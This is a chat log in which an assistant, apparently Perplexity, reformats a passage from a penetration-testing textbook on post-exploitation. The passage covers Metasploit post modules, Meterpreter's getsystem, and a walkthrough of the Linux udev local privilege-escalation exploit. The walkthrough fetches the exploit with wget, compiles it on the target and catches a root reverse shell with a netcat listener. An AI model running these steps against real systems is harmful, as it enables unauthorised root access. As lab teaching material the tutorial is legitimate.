perplexity

Now properly like in a readable way arrange it ll

Certainly! Here is the **exact text** from your file, arranged in a clear, readable format with logical breaks, indentation, and code blocks for better comprehension. The content and wording remain unchanged.

Post-Exploitation Techniques

Windows: Enumerating Logged-On Users

Consider the module `post/windows/gather/enum_logged_on_users`.
As shown in Listing 13-6, this module will show us which users are currently logged on to the target system.

```
msf > use post/windows/gather/enum_logged_on_users
msf post(enum_logged_on_users) > show options
```

We use post modules as we do all Metasploit modules: We set the relevant options, and then enter exploit to run the module. However, in the case of post-exploitation modules, instead of setting an RHOST or SRVHOST, we need to tell Metasploit the Session ID we want to run the post-exploitation module against. We then run the module against Session 1, the Windows XP target.

Windows: Using Railgun for API Access

Railgun is an extension for Meterpreter that allows direct access to Windows APIs. It can be used inside post-exploitation modules for Meterpreter as well as the Ruby shell (irb) in a Meterpreter session. For example, we can check if the session is running as an administrative user by directly accessing the IsUserAnAdmin function of the shell32 Windows DLL.

```
meterpreter > irb
>> client.railgun.shell32.IsUserAnAdmin
```

Windows: Automated Privilege Escalation

Meterpreter's getsystem command automates trying a series of known local privilege-escalation exploits against the target.

```
meterpreter > getsystem
meterpreter > getuid
```

Udev Privilege Escalation on Linux

We have yet to try privilege escalation on our Linux target.
We have two ways to interact with our Linux target: via SSH and by using the TikiWiki to gain a Meterpreter shell.

```
meterpreter > shell
whoami
```

Finding a Vulnerability:
We need to find a local privilege-escalation vulnerability to exploit. First, we need a bit of information about the local system, such as the version of the installed kernel and the Ubuntu version.

```
uname -a
```

Finding an Exploit:
Kali Linux includes a local repository of public exploit code from Exploitdb.com at `/usr/share/exploitdb`, which includes a utility called `searchsploit` that we can use to search for useful code.

```
root@kali:~# /usr/share/exploitdb/searchsploit udev
```

Copying and Compiling the Exploit on the Target:
First we need to copy the exploit to our target and compile it so that it can run. Luckily, the GCC C compiler is preinstalled on most Linux distributions, so you can often compile local exploit code directly on the target.

```
root@kali:~# cp /usr/share/exploitdb/platforms/linux/local/8572.c /var/www
```

Now switch to your SSH shell, and download the file with wget,

```
georgia@ubuntu:~$ wget http://192.168.20.9/8572.c
```

Now compile the exploit code with GCC on the Linux target as shown here. Use the -o flag to specify an output file name for your compiled code.

```
georgia@ubuntu:~$ gcc -o exploit 8572.c
```

Identifying the Required PID:
The PID we need is usually the PID of the udev daemon minus 1. Look at the udev process with the ps aux command, as shown here.

```
georgia@ubuntu:~$ cat /proc/net/netlink
georgia@ubuntu:~$ ps aux | grep udev
```

The udev daemon's PID is 2469. Based on the exploit's help information, this is the value we need.

Adding Code to the /tmp/run File:
The last thing we need is some code to be run as root in the file `/tmp/run`. Luckily, we also have Netcat installed on our Ubuntu system by default, so we can create a simple Bash script to connect back to a listener on our Kali system.

```
georgia@ubuntu:~$ cat /tmp/run
```

Before running our exploit, we need to set up a listener on our Kali system to catch the incoming Netcat shell.

```
root@kali:~# nc -lvp 12345
```

Running the Exploit:
Finally, we're ready to run our compiled exploit. Remember to pass the PID of the udev netlink socket we found earlier as an argument.

```
georgia@ubuntu:~$ ./exploit 2468
```

Nothing seems to happen on the Linux target, but if you turn back to the Netcat listener on Kali, we have a connection. The whoami command tells us we now have root privileges.

```
root@kali:~# nc -lvp 12345
whoami
```

Upon successful exploitation, a reverse shell with root privileges will be established.

⁂